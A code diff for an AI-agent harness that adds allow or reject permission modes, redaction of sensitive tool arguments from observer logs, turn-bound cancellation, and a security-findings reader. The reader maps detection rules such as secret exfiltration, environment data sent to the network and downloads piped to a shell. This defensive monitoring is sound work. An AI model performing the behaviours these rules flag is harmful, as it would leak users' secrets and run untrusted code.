diff --git a/crates/buzz-acp/src/acp.rs b/crates/buzz-acp/src/acp.rs index 8a698954a0..96eb138866 100644 --- a/crates/buzz-acp/src/acp.rs +++ b/crates/buzz-acp/src/acp.rs @@ -13,6 +13,7 @@ use tokio::io::AsyncWriteExt; use tokio::process::{Child, ChildStdin, ChildStdout}; use tokio_util::codec::{FramedRead, LinesCodec, LinesCodecError}; +use crate::config::PermissionMode; use crate::observer::{ObserverContext, ObserverHandle}; use crate::usage::{TurnUsage, UsageTracker}; @@ -158,6 +159,8 @@ pub struct AcpClient { /// Guards against double-response if a timeout fires after the allow_once /// response was written but before `pending_permission_id` was cleared. permission_responded: bool, + /// Harness-side fallback for synchronous ACP permission requests. + permission_mode: PermissionMode, /// The JSON-RPC id of the most recently sent `session/prompt` request. /// Used by [`cancel_with_cleanup`] to drain the correct response. /// Set in [`session_prompt_with_idle_timeout`]; consumed in [`cancel_with_cleanup`]. @@ -410,6 +413,24 @@ fn build_client_capabilities() -> serde_json::Value { }) } +/// Permission requests can contain tool arguments, paths, and user-provided +/// labels. Observer evidence records that a request arrived, but never copies +/// those sensitive parameters into replay buffers or encrypted frames. +fn observer_safe_inbound_message(message: &serde_json::Value) -> serde_json::Value { + if message.get("method").and_then(serde_json::Value::as_str) + != Some("session/request_permission") + { + return message.clone(); + } + + serde_json::json!({ + "jsonrpc": message.get("jsonrpc").cloned().unwrap_or_else(|| serde_json::json!("2.0")), + "id": message.get("id").cloned().unwrap_or(serde_json::Value::Null), + "method": "session/request_permission", + "params": { "redacted": true } + }) +} + impl AcpClient { /// Kill the agent subprocess and wait for it to exit (no zombies). /// @@ -541,6 +562,7 @@ impl AcpClient { next_id: 0, pending_permission_id: None, permission_responded: false, + permission_mode: PermissionMode::Default, last_prompt_id: None, current_hard_deadline: None, observer: None, @@ -559,6 +581,11 @@ impl AcpClient { self.observer_agent_index = Some(agent_index); } + /// Set the endpoint permission policy for subsequent tool requests. + pub(crate) fn set_permission_mode(&mut self, mode: PermissionMode) { + self.permission_mode = mode; + } + /// Update metadata that will be attached to subsequent raw wire events. pub fn set_observer_context(&mut self, context: ObserverContext) { self.observer_context = context; @@ -1197,7 +1224,7 @@ impl AcpClient { continue; } }; - self.observe("acp_read", msg.clone()); + self.observe("acp_read", observer_safe_inbound_message(&msg)); // Check if this is a response to our expected request (has matching id // AND no `method` field — a `method` field means it's an agent-initiated @@ -1520,7 +1547,7 @@ impl AcpClient { continue; } }; - self.observe("acp_read", msg.clone()); + self.observe("acp_read", observer_safe_inbound_message(&msg)); let activity_now = Instant::now(); idle_deadline = activity_now + idle_timeout; @@ -1853,10 +1880,11 @@ impl AcpClient { } } - /// Auto-approve a `session/request_permission` request from the agent. + /// Apply local policy to a synchronous `session/request_permission`. /// - /// Finds the option with `kind == "allow_once"` and responds with its `optionId`. - /// If no `allow_once` option exists, falls back to `reject_once`. + /// Monitor modes select `allow_once`; lockdown modes select `reject_once`. + /// Monitor fails closed when no allow option exists, while lockdown treats + /// a missing reject option as a protocol error rather than degrading. /// /// **Critical:** Never hardcode `optionId` — always find it dynamically by `kind`. /// @@ -1874,9 +1902,14 @@ impl AcpClient { // Mark as not yet responded — guards against double-response race. self.permission_responded = false; - let options = msg["params"]["options"] - .as_array() - .ok_or_else(|| AcpError::Protocol("permission request missing options".into()))?; + let Some(options) = msg["params"]["options"].as_array() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + "permission request missing options", + ) + .await; + }; tracing::debug!( target: "acp::permission", @@ -1884,38 +1917,74 @@ impl AcpClient { options.len() ); - // Find allow_once by kind — NEVER hardcode optionId. - let allow_once = options + let desired_kind = permission_option_kind(&self.permission_mode); + let rejecting = desired_kind == "reject_once"; + // Never hardcode optionId; ACP agents choose their identifiers. + let selected = options .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); - - let response = if let Some(opt) = allow_once { - let option_id = opt["optionId"] - .as_str() - .ok_or_else(|| AcpError::Protocol("allow_once option missing optionId".into()))?; + .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some(desired_kind)); + + let (response, decision) = if let Some(opt) = selected { + let Some(option_id) = opt["optionId"].as_str() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + format!("{desired_kind} option missing optionId"), + ) + .await; + }; tracing::info!( target: "acp::permission", - "auto-approving permission id={id} with allow_once optionId={option_id:?}" + "applying permission mode {} to request id={id} with {desired_kind} optionId={option_id:?}", + self.permission_mode ); - permission_response_selected(&id, option_id) + ( + permission_response_selected(&id, option_id), + if rejecting { + "rejected" + } else { + "allowed_once" + }, + ) } else { - // No allow_once — fall back to reject_once. tracing::warn!( target: "acp::permission", - "no allow_once option found in permission request id={id}, falling back to reject_once" + "no {desired_kind} option found in permission request id={id}" ); + // Lockdown must never degrade to approval when an adapter sends an + // incomplete option set. + if rejecting { + return self + .cancel_permission_request_with_protocol_error( + &id, + "lockdown permission request missing reject_once option", + ) + .await; + } let reject = options .iter() .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once")); if let Some(opt) = reject { - let option_id = opt["optionId"].as_str().unwrap_or("reject"); - permission_response_selected(&id, option_id) + let Some(option_id) = opt["optionId"].as_str() else { + return self + .cancel_permission_request_with_protocol_error( + &id, + "reject_once option missing optionId", + ) + .await; + }; + ( + permission_response_selected(&id, option_id), + "rejected_no_allow_option", + ) } else { - return Err(AcpError::Protocol( - "no suitable permission option found (neither allow_once nor reject_once)" - .into(), - )); + return self + .cancel_permission_request_with_protocol_error( + &id, + "no suitable permission option found (neither allow_once nor reject_once)", + ) + .await; } }; @@ -1936,9 +2005,41 @@ impl AcpClient { self.write_ndjson(&response).await?; self.permission_responded = true; self.pending_permission_id = None; + self.observe( + "permission_decision", + serde_json::json!({ + "mode": self.permission_mode.as_wire_str(), + "decision": decision, + }), + ); Ok(()) } + /// Cancel a malformed permission request before surfacing its protocol error. + /// + /// The successful cancellation write is the commit point: only then is the + /// pending state cleared and owner-local decision evidence emitted. If the + /// adapter write fails, the pending state remains available to the normal + /// cancellation cleanup path and no false success evidence is recorded. + async fn cancel_permission_request_with_protocol_error( + &mut self, + id: &serde_json::Value, + message: impl Into, + ) -> Result<(), AcpError> { + let response = permission_response_cancelled(id); + self.write_ndjson(&response).await?; + self.permission_responded = true; + self.pending_permission_id = None; + self.observe( + "permission_decision", + serde_json::json!({ + "mode": self.permission_mode.as_wire_str(), + "decision": "cancelled_protocol_error", + }), + ); + Err(AcpError::Protocol(message.into())) + } + /// Parse `stopReason` from a `session/prompt` result value. fn parse_stop_reason(&self, result: &serde_json::Value) -> Result { let raw = result["stopReason"].as_str().ok_or_else(|| { @@ -2020,6 +2121,14 @@ fn permission_response_selected(id: &serde_json::Value, option_id: &str) -> serd }) } +fn permission_option_kind(mode: &PermissionMode) -> &'static str { + if matches!(mode, PermissionMode::DontAsk | PermissionMode::Plan) { + "reject_once" + } else { + "allow_once" + } +} + /// Build a JSON-RPC permission response with `outcome: "cancelled"`. fn permission_response_cancelled(id: &serde_json::Value) -> serde_json::Value { serde_json::json!({ @@ -2307,6 +2416,27 @@ mod tests { assert!(allow_once.is_none()); } + #[test] + fn observer_redacts_permission_request_secrets() { + let secret = "seeded-secret-tool-argument"; + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-secret", + "method": "session/request_permission", + "params": { + "toolCall": { "path": "/private/example", "arguments": [secret] }, + "options": [{ "optionId": secret, "name": secret, "kind": "allow_once" }] + } + }); + + let evidence = super::observer_safe_inbound_message(&request); + let encoded = serde_json::to_string(&evidence).unwrap(); + assert!(!encoded.contains(secret)); + assert!(!encoded.contains("/private/example")); + assert_eq!(evidence["params"]["redacted"], true); + assert_eq!(evidence["id"], "permission-secret"); + } + #[test] fn find_reject_once_fallback_when_no_allow_once() { let options: Vec = serde_json::from_str( @@ -2326,6 +2456,180 @@ mod tests { assert_eq!(reject_once.unwrap()["optionId"].as_str(), Some("rej-x")); } + #[test] + fn permission_policy_monitor_modes_allow_once() { + for mode in [ + PermissionMode::Default, + PermissionMode::AcceptEdits, + PermissionMode::BypassPermissions, + ] { + assert_eq!(permission_option_kind(&mode), "allow_once"); + } + } + + #[test] + fn permission_policy_lockdown_modes_reject_once() { + for mode in [PermissionMode::DontAsk, PermissionMode::Plan] { + assert_eq!(permission_option_kind(&mode), "reject_once"); + } + } + + #[tokio::test] + async fn lockdown_handler_selects_reject_before_tool_execution() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-7", + "method": "session/request_permission", + "params": { + "options": [ + {"optionId": "yes", "kind": "allow_once"}, + {"optionId": "no", "kind": "reject_once"} + ] + } + }); + + client.handle_permission_request(&request).await.unwrap(); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["optionId"], "no"); + } + + #[tokio::test] + async fn monitor_handler_selects_allow_once() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::Default); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": 8, + "method": "session/request_permission", + "params": { + "options": [ + {"optionId": "yes", "kind": "allow_once"}, + {"optionId": "no", "kind": "reject_once"} + ] + } + }); + + client.handle_permission_request(&request).await.unwrap(); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["optionId"], "yes"); + } + + #[tokio::test] + async fn lockdown_missing_reject_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-malformed", + "method": "session/request_permission", + "params": { + "options": [{"optionId": "yes", "kind": "allow_once"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn monitor_without_allow_or_reject_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + client.set_permission_mode(PermissionMode::Default); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": 19, + "method": "session/request_permission", + "params": { + "options": [{"optionId": "always", "kind": "allow_always"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn permission_request_missing_options_cancels_and_clears_pending_state() { + let mut client = + spawn_script("read -t 2 response; printf '%s\\n' \"$response\"; sleep 1").await; + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "missing-options", + "method": "session/request_permission", + "params": {} + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Protocol(_))); + let echoed = client.reader.next().await.unwrap().unwrap(); + let response: serde_json::Value = serde_json::from_str(&echoed).unwrap(); + assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn failed_permission_write_keeps_pending_state_and_emits_no_decision() { + let mut client = spawn_script("exit 0").await; + let observer = ObserverHandle::in_process(); + client.set_observer(Some(observer.clone()), 0); + client.child.wait().await.unwrap(); + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-write-failure", + "method": "session/request_permission", + "params": { + "options": [{"optionId": "no", "kind": "reject_once"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Io(_) | AcpError::WriteTimeout(_))); + assert_eq!( + client.pending_permission_id, + Some(serde_json::json!("permission-write-failure")) + ); + assert!(!client.permission_responded); + assert!( + observer + .snapshot() + .iter() + .all(|event| event.kind != "permission_decision"), + "a failed adapter write must not emit successful decision evidence" + ); + } + #[test] fn request_has_id_field() { let id: u64 = 42; diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs index 403512a322..ca3d7dbe35 100644 --- a/crates/buzz-acp/src/lib.rs +++ b/crates/buzz-acp/src/lib.rs @@ -906,16 +906,27 @@ fn handle_cancel_turn_control( return; }; - let fired = signal_in_flight_task(pool, channel_id, ControlSignal::Cancel); - let status = if fired { "sent" } else { "no_active_turn" }; + let Some(expected_session_id) = payload.get("sessionId").and_then(|value| value.as_str()) + else { + tracing::warn!("observer cancel_turn control frame missing sessionId"); + return; + }; + let Some(expected_turn_id) = payload.get("turnId").and_then(|value| value.as_str()) else { + tracing::warn!("observer cancel_turn control frame missing turnId"); + return; + }; + + let fired = + signal_expected_in_flight_task(pool, channel_id, expected_turn_id, ControlSignal::Cancel); + let status = if fired { "sent" } else { "context_mismatch" }; if let Some(observer) = observer { observer.emit( "control_result", None, &observer::ObserverContext { channel_id: Some(channel_id.to_string()), - session_id: None, - turn_id: None, + session_id: Some(expected_session_id.to_string()), + turn_id: Some(expected_turn_id.to_string()), started_at: None, }, serde_json::json!({ @@ -2797,6 +2808,28 @@ fn signal_in_flight_task( false } +/// Send a control signal only when the signed observer context still names +/// the exact in-flight turn. A delayed control frame cannot cancel its successor. +fn signal_expected_in_flight_task( + pool: &mut AgentPool, + channel_id: uuid::Uuid, + expected_turn_id: &str, + mode: ControlSignal, +) -> bool { + let entry = pool + .task_map_mut() + .values_mut() + .find(|meta| meta.channel_id == Some(channel_id) && meta.turn_id == expected_turn_id); + if let Some(meta) = entry { + if let Some(tx) = meta.control_tx.take() { + tracing::info!(channel = %channel_id, turn = expected_turn_id, ?mode, "context-bound control signal sent"); + let _ = tx.send(mode); + return true; + } + } + false +} + /// Attempt the non-cancelling (ACP) steer for a freshly-queued event. /// /// Caller invariants: @@ -4177,10 +4210,37 @@ async fn run_models(args: ModelsArgs) -> Result<()> { } fn build_mcp_servers(config: &Config) -> Vec { + let browser = std::env::var("BUZZ_ACP_BROWSER_MCP_COMMAND") + .ok() + .filter(|command| !command.is_empty()) + .map(|command| { + let args = std::env::var("BUZZ_ACP_BROWSER_MCP_ARGS") + .ok() + .and_then(|raw| serde_json::from_str::>(&raw).ok()) + .unwrap_or_default(); + (command, args) + }); + build_mcp_servers_with_browser(config, browser) +} + +fn build_mcp_servers_with_browser( + config: &Config, + browser: Option<(String, Vec)>, +) -> Vec { + let mut servers = Vec::new(); + if let Some((command, args)) = browser { + servers.push(McpServer { + name: "playwright".into(), + command, + args, + env: vec![], + }); + } + if config.mcp_command.is_empty() { - return vec![]; + return servers; } - vec![McpServer { + servers.push(McpServer { name: std::path::Path::new(&config.mcp_command) .file_stem() .and_then(|s| s.to_str()) @@ -4230,7 +4290,8 @@ fn build_mcp_servers(config: &Config) -> Vec { } env }, - }] + }); + servers } #[cfg(test)] @@ -4391,6 +4452,39 @@ mod owner_control_command_tests { ControlSignal::Rotate )); } + + #[tokio::test] + async fn expected_turn_signal_rejects_stale_turn_without_consuming_control() { + let mut pool = AgentPool::from_slots(vec![]); + let channel_id = Uuid::new_v4(); + let (control_tx, control_rx) = tokio::sync::oneshot::channel(); + let abort_handle = pool.join_set.spawn(async {}); + pool.task_map_mut().insert( + abort_handle.id(), + pool::TaskMeta { + agent_index: 0, + channel_id: Some(channel_id), + turn_id: "current-turn".to_string(), + recoverable_batch: None, + control_tx: Some(control_tx), + steer_tx: None, + }, + ); + + assert!(!signal_expected_in_flight_task( + &mut pool, + channel_id, + "stale-turn", + ControlSignal::Cancel, + )); + assert!(signal_expected_in_flight_task( + &mut pool, + channel_id, + "current-turn", + ControlSignal::Cancel, + )); + assert_eq!(control_rx.await.unwrap(), ControlSignal::Cancel); + } } #[cfg(test)] @@ -5184,6 +5278,43 @@ mod build_mcp_servers_tests { "Path::new(\".\").file_stem() is None — should fall back to \"mcp\"" ); } + + #[test] + fn browser_mcp_is_added_alongside_dev_mcp() { + let config = test_config(); + let servers = build_mcp_servers_with_browser( + &config, + Some(( + "/opt/homebrew/bin/npx".into(), + vec![ + "--yes".into(), + "@playwright/mcp@0.0.78".into(), + "--browser".into(), + "chrome".into(), + "--isolated".into(), + ], + )), + ); + + assert_eq!(servers.len(), 2); + assert_eq!(servers[0].name, "playwright"); + assert_eq!(servers[0].command, "/opt/homebrew/bin/npx"); + assert_eq!(servers[0].args[1], "@playwright/mcp@0.0.78"); + assert_eq!(servers[1].name, "test-mcp-server"); + } + + #[test] + fn browser_mcp_works_without_dev_mcp() { + let mut config = test_config(); + config.mcp_command.clear(); + let servers = build_mcp_servers_with_browser( + &config, + Some(("npx".into(), vec!["@playwright/mcp@0.0.78".into()])), + ); + + assert_eq!(servers.len(), 1); + assert_eq!(servers[0].name, "playwright"); + } } #[cfg(test)] diff --git a/crates/buzz-acp/src/pool.rs b/crates/buzz-acp/src/pool.rs index 348bc138e4..70ac3afaab 100644 --- a/crates/buzz-acp/src/pool.rs +++ b/crates/buzz-acp/src/pool.rs @@ -992,6 +992,10 @@ async fn create_session_and_apply_model( }), ); + // Keep a harness-side enforcement fallback when an adapter cannot apply + // its native mode. + agent.acp.set_permission_mode(ctx.permission_mode.clone()); + // Apply permission mode if not the agent's built-in default AND the agent // advertises the requested mode in session/new. Agents that don't support // the mode (e.g., goose crashes on unrecognized set_config_option values) @@ -3975,6 +3979,65 @@ mod tests { use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp}; use serde_json::json; + #[tokio::test] + async fn unsupported_native_lockdown_still_rejects_permission_requests() { + let script = r#" + IFS= read -r session_new + case "$session_new" in + *'"method":"session/new"'*) ;; + *) exit 10 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":0,"result":{"sessionId":"fallback-session","modes":{"availableModes":[{"id":"default"}]}}}' + + IFS= read -r prompt + case "$prompt" in + *'"method":"session/prompt"'*) ;; + *) exit 11 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":99,"method":"session/request_permission","params":{"options":[{"optionId":"allow","kind":"allow_once"},{"optionId":"reject","kind":"reject_once"}]}}' + + IFS= read -r decision + case "$decision" in + *'"id":99'*'"optionId":"reject"'*) ;; + *) exit 12 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":1,"result":{"stopReason":"end_turn"}}' + "#; + let acp = AcpClient::spawn("bash", &["-c".to_string(), script.to_string()], &[], false) + .await + .expect("failed to spawn fake ACP agent"); + let mut agent = OwnedAgent { + index: 0, + acp, + state: SessionState::default(), + model_capabilities: None, + desired_model: None, + model_overridden: false, + agent_name: "fake-agent".into(), + goose_system_prompt_supported: None, + protocol_version: 2, + }; + let mut ctx = make_prompt_context_no_owner(); + ctx.permission_mode = PermissionMode::DontAsk; + + let session_id = create_session_and_apply_model(&mut agent, &ctx, None, None, None) + .await + .expect("session creation should succeed without native dontAsk support"); + assert_eq!(session_id, "fallback-session"); + + let stop = agent + .acp + .session_prompt_with_idle_timeout( + &session_id, + "exercise fallback", + Duration::from_secs(2), + Duration::from_secs(5), + ) + .await + .expect("harness fallback should reject and let the turn complete"); + assert_eq!(stop, StopReason::EndTurn); + } + // These pin the initial_message dispatch path (run_prompt_task, ~line 855): // a legacy agent WITH a base_prompt must get [Base] prepended to the user // message. This is the exact regression that shipped in the round-2 bug. diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts index 7ce7f48389..8f61641d02 100644 --- a/desktop/playwright.config.ts +++ b/desktop/playwright.config.ts @@ -45,6 +45,7 @@ export default defineConfig({ "**/profile-active-turn.spec.ts", "**/config-bridge-screenshots.spec.ts", "**/observer-feed-screenshots.spec.ts", + "**/guardian-findings.spec.ts", "**/core-memory-screenshots.spec.ts", "**/activity-scope-label-screenshots.spec.ts", "**/welcome-agent-modal-screenshots.spec.ts", diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 66ef7ef17b..4c0dd792c7 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -34,6 +34,7 @@ mod media_transcode; pub(crate) mod mesh_llm; mod messages; mod notifications; +pub(crate) mod numbat_findings; mod observer_archive; mod os_idle; pub mod pairing; @@ -89,6 +90,7 @@ pub use media_download::*; pub use mesh_llm::*; pub use messages::*; pub use notifications::*; +pub use numbat_findings::*; pub use observer_archive::*; pub use os_idle::*; pub use pairing::*; diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs new file mode 100644 index 0000000000..77e8feb1e1 --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -0,0 +1,968 @@ +use std::{ + collections::{HashMap, HashSet}, + fs::{File, OpenOptions}, + io::{Read as _, Seek as _, SeekFrom, Write as _}, + path::{Path, PathBuf}, + process::{Command, Stdio}, + sync::{Mutex, OnceLock}, + time::{Duration, Instant}, +}; + +use serde::{Deserialize, Serialize}; +use tauri::AppHandle; + +use crate::managed_agents::{atomic_write_json_restricted, managed_agents_base_dir}; + +const NUMBAT_SCHEMA_VERSION: &str = "0.2.0"; +const MAX_BATCH_BYTES: u64 = 1024 * 1024; +const MAX_BACKLOG_BYTES: u64 = 4 * 1024 * 1024; +const MAX_LINE_BYTES: usize = 64 * 1024; +const MAX_RECORDS_PER_BATCH: usize = 200; +const MAX_IDENTIFIER_CHARS: usize = 160; +const MAX_LOCAL_RECORD_BYTES: u64 = 8 * 1024 * 1024; +const CURSOR_OFFSET_BITS: u32 = 32; +const CURSOR_OFFSET_MASK: u64 = (1_u64 << CURSOR_OFFSET_BITS) - 1; +const CURSOR_GENERATION_MASK: u64 = (1_u64 << 21) - 1; +const NUMBAT_INSTALL_TIMEOUT: Duration = Duration::from_secs(10); +const RETENTION_CHECK_INTERVAL: Duration = Duration::from_secs(30); +static NUMBAT_INSTALL_LOCK: OnceLock> = OnceLock::new(); +static NUMBAT_RETENTION_WORKERS: OnceLock>> = OnceLock::new(); +static NUMBAT_VERIFICATION_BASELINES: OnceLock>> = + OnceLock::new(); + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingProjection { + finding_id: String, + rule_id: String, + title: String, + severity: String, + detected_at: String, + source_agent: String, + session_id: Option, + channel_id: Option, + turn_id: Option, + evidence_count: usize, +} + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingBatch { + next_offset: u64, + reset: bool, + rejected_records: usize, + health: NumbatGuardianHealth, + findings: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatGuardianHealth { + state: String, + detail: String, +} + +fn active_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "active".into(), + detail: + "Guardian callback execution is verified by a valid finding from this managed runtime." + .into(), + } +} + +fn record_verification_baseline(agent_pubkey: &str, generation: u64, offset: u64) { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + if let Ok(mut baselines) = baselines.lock() { + baselines.insert(agent_pubkey.to_string(), (generation, offset)); + } +} + +fn is_post_configuration_finding( + agent_pubkey: &str, + generation: u64, + next_offset: u64, + active_findings_observed: bool, +) -> bool { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + let Ok(mut baselines) = baselines.lock() else { + return false; + }; + let Some((baseline_generation, baseline_offset)) = baselines.get(agent_pubkey).copied() else { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + }; + if baseline_generation != generation { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + } + active_findings_observed && next_offset > baseline_offset +} + +#[derive(Debug, Deserialize)] +struct NumbatFindingRecord { + schema_version: String, + record_type: String, + finding_id: String, + rule_id: String, + severity: String, + detected_at: String, + source_agent: String, + #[serde(default)] + session_id: Option, + #[serde(default)] + cited_event_ids: Vec, +} + +fn numbat_dir(app: &AppHandle) -> Result { + Ok(managed_agents_base_dir(app)?.join("numbat")) +} + +fn numbat_findings_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.ndjson"))) +} + +fn numbat_findings_template(app: &AppHandle) -> Result { + Ok(numbat_dir(app)?.join("${BUZZ_MANAGED_AGENT_PUBKEY}.ndjson")) +} + +fn previous_findings_path(path: &Path) -> PathBuf { + path.with_extension("previous.ndjson") +} + +fn health_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.health.json"))) +} + +fn validate_agent_pubkey(value: &str) -> Result<(), String> { + if value.len() != 64 || !value.bytes().all(|byte| byte.is_ascii_hexdigit()) { + return Err("agent pubkey must be 64 hexadecimal characters".to_string()); + } + Ok(()) +} + +fn safe_identifier(value: String) -> Option { + if value.is_empty() + || value.chars().count() > MAX_IDENTIFIER_CHARS + || !value + .chars() + .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | ':' | '-')) + { + return None; + } + Some(value) +} + +fn projected_title(rule_id: &str) -> &'static str { + match rule_id { + "chain.secret_read_then_egress" => "Possible secret exfiltration", + "exec.download_pipe_shell" => "Downloaded content piped to a shell", + "exfil.env_capture_to_network" => "Environment data sent to the network", + "integrity.git_hooks_bypass" => "Git safety hooks bypassed", + "privilege.elevated_shell" => "Elevated shell requested", + "secrets.agent_read_env" => "Sensitive environment data accessed", + "source.git_remote_tamper" => "Git remote-routing change requested", + _ => "Agent security finding", + } +} + +fn safe_timestamp(value: String) -> Option { + if value.len() > 64 || chrono::DateTime::parse_from_rfc3339(&value).is_err() { + return None; + } + Some(value) +} + +fn project_finding( + line: &[u8], + expected_agent_pubkey: &str, + expected_session_id: &str, + expected_channel_id: &str, + expected_turn_id: &str, +) -> Option { + let record: NumbatFindingRecord = serde_json::from_slice(line).ok()?; + if record.schema_version != NUMBAT_SCHEMA_VERSION || record.record_type != "finding" { + return None; + } + + let severity = match record.severity.as_str() { + "low" | "medium" | "high" | "critical" => record.severity, + _ => return None, + }; + let rule_id = safe_identifier(record.rule_id)?; + // Numbat's source_agent identifies the runtime (for example, `codex`), not + // the managed Buzz agent. Agent attribution is instead established by the + // trusted per-agent output path selected from BUZZ_MANAGED_AGENT_PUBKEY. + // Still validate the upstream field before accepting the record, but never + // mistake it for a Buzz identity. + safe_identifier(record.source_agent)?; + + let session_id = record.session_id.and_then(safe_identifier)?; + if session_id != expected_session_id { + return None; + } + // Numbat's v0.2.0 finding schema deliberately has no Buzz-specific + // context fields (and rejects unknown properties). The runtime session id + // is the portable join key. The channel and turn supplied here come from + // the owner-decrypted observer stream for that exact session; they are + // projection context, not claims parsed from the Numbat record. + let channel_id = safe_identifier(expected_channel_id.to_string())?; + let turn_id = safe_identifier(expected_turn_id.to_string())?; + + Some(NumbatFindingProjection { + finding_id: safe_identifier(record.finding_id)?, + title: projected_title(&rule_id).to_string(), + rule_id, + severity, + detected_at: safe_timestamp(record.detected_at)?, + source_agent: expected_agent_pubkey.to_string(), + session_id: Some(session_id), + channel_id: Some(channel_id), + turn_id: Some(turn_id), + evidence_count: record.cited_event_ids.len().min(1000), + }) +} + +fn align_to_next_record(file: &mut File, start: u64) -> Result { + if start == 0 { + return Ok(0); + } + + file.seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut byte = [0_u8; 1]; + while file + .read(&mut byte) + .map_err(|error| format!("failed to align Numbat records: {error}"))? + == 1 + { + if byte[0] == b'\n' { + return file + .stream_position() + .map_err(|error| format!("failed to locate Numbat record: {error}")); + } + } + + file.stream_position() + .map_err(|error| format!("failed to locate Numbat record end: {error}")) +} + +#[cfg(unix)] +fn findings_generation(path: &Path) -> Result { + use std::os::unix::fs::MetadataExt as _; + path.metadata() + .map(|metadata| metadata.ino() & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn findings_generation(path: &Path) -> Result { + path.metadata() + .and_then(|metadata| metadata.modified()) + .and_then(|modified| { + modified + .duration_since(std::time::UNIX_EPOCH) + .map_err(std::io::Error::other) + }) + .map(|duration| duration.as_nanos() as u64 & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +fn encode_cursor(generation: u64, offset: u64) -> Result { + if offset > CURSOR_OFFSET_MASK { + return Err("Guardian cursor offset exceeds its supported range".into()); + } + Ok((generation << CURSOR_OFFSET_BITS) | offset) +} + +fn decode_cursor(cursor: u64, generation: u64) -> (u64, bool) { + if cursor == 0 { + return (0, false); + } + let cursor_generation = cursor >> CURSOR_OFFSET_BITS; + if cursor_generation != generation { + return (0, true); + } + (cursor & 